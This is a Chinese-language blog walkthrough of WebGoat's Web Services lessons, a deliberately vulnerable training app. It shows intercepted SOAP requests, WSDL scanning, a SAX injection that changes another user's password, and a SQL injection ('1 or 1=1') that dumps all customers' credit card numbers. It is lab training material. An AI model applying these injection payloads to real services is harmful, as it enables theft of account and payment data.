Webgoat之Web Services

什么是Web Service?

  • Web Service就是一种基于Web 的服务,但这个服务需要供求双方按照规定去做才能实现的服务。
  • Web Service就是一个应用程序,它向外界暴露出一个能够通过Web进行调用的API。这就是说,你能够用编程的方法通过Web来调用这个应用程序。我们把能调用这个Web service 的应用程序叫做客户端程序。
  • Web Service希望实现不同的系统之间能够用“软件-软件对话”的方式相互调用,打破了软件应用、网站和各种设备之间的格格不入的状态,实现“基于Web无缝集成”的目标。

详细内容见这里,它有三要素:WSDL用来描述服务;UDDI用来注册和查找服务;SOAP用来在消费者和服务提供者之间传送消息。

Create a SOAP Request

第一部分要求我们创建一个SOAP的请求。
以下显示的是WSDL文档:
1
我们展开portType:
2
发现有四种操作。因此WSDL中定义了4种操作。
第二步要填写方法getFirstNameRequest方法中参数的类型
12
由上图可以看出是int类型的。
然后接着要发送一个SOAP的请求,点击按钮“Press to generate an HTTP request”,然后用burp进行拦截,拦截之后修改请求符合SOAP标准,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST https://localhost:8443/WebGoat/services/SoapRequest HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://localhost:8443/WebGoat/attack?Screen=32&menu=1800
Cookie: JSESSIONID=B0E2BCDE68B32C2894064DF30A545EAA
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: close
Content-Type: text/xml
SOAPAction:
Content-Length: 445

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP-ENV:Body>
<ns1:getFirstName SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:ns1="http://lessons">
<id xsi:type="xsd:int">101</id>
</ns1:getFirstName>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

注意以上代码的Host,Post,Content-Type,SOAPAction字段。

此时服务器会有一个响应:
10
传回来的值为:Joe
此时再将xml中的函数getFirstName两处改为getLastName,再发送一次请求,服务器返回:Snow
这关就过了。

WSDL Scanning

3
做这个实验的时候,我也是醉了,因为这样点击的时候,下面的SNOW一直出不来,其他函数也出不来,搞不清楚是什么问题。后来发现我用的https,然后改为http后就好了。在网络应用中,可以在配置文件里面要求强制转换为https,也可以同时保留http和https,这些的前提是服务器一定配了https。
这部分课程是要我们用到所有WSDL中定义的API操作,并且有返回值。我们知道WSDL中实际上有四种操作,而这里只列出了三种,我们可以查看WSDL文档后,将其修改为我们需要的操作。如图所示,把请求更改为这样:
4
最后出现结果为如下:
5

Web Service SAX Injection

有些Web界面在后台使用的是Web Services。而Web Services通过SOAP请求进行通信。该节课程需要我们修改除了用户101以外的另一个用户的密码:
6
拦截后,把请求修改为如下:
7
最后成功修改了编号102的密码:
8
图片下面部分显示的是我们发送过去的请求。
其原理就是:SAX解析器会解析任何格式正常的XML文件,例如:匹配到有效的标记符号及闭合符号即认为正确。当您向原有的XML文件中添加新的changePAssword元素时,如果id和password等标记都正确,那么解析器将很乐意帮您去修改另一个userid的密码。我们在password字段增加了多余的恶意代码。

Web Service SQL Injection

9
要求我们查看WSDL文件,并尝试获取多个客户的信用卡帐号。
这一节与第一节一样,需要我们自己构造一个SOAP请求,构造如下请求发送:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST http://127.0.0.1:8080/WebGoat/services/WsSqlInjection HTTP/1.0
Accept: application/soap+xml, application/dime, multipart/related, text/*
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Content-length: 584
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

<?xml version='1.0' encoding='UTF-8'?>
<wsns0:Envelope
xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'
xmlns:xsd='http://www.w3.org/2001/XMLSchema'
xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'
>
<wsns0:Body
wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'
>
<wsns2:getCreditCard
xmlns:wsns2='http://lessons.webgoat.owasp.org'
>
<id
xsi:type='xsd:string'
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
>1 or 1=1</id>
<ns2:getCreditCard>
<ns0:Body>
<ns0:Envelope>

这里主要注意上面的ID是:

1 or 1=1

并且注意这里POST的地址与第一小节的地址是不一样的。
并且在getCreditCard之间加了一个id,写为string,然后传为以上值。攻击成功。服务器返回所有人的信用卡值:

11

Summarize

这一节实验花了较多的时间,主要是对于Web Services基础理解不熟,然后在做第三小节的时候,先是用Webscarab攻击成功之后,看源码,再在burpsuit里面做的。


【版权声明】
本文首发于戚名钰的博客,欢迎转载,但是必须保留本文的署名戚名钰(包含链接)。如您有任何商业合作或者授权方面的协商,请给我留言:qimingyu.security@foxmail.com
欢迎关注我的微信公众号:科技锐新

kejiruixin

本文永久链接:http://qimingyu.github.io/2016/05/05/Webgoat之Web_Services/

坚持原创技术分享,您的支持将鼓励我继续创作!

热评文章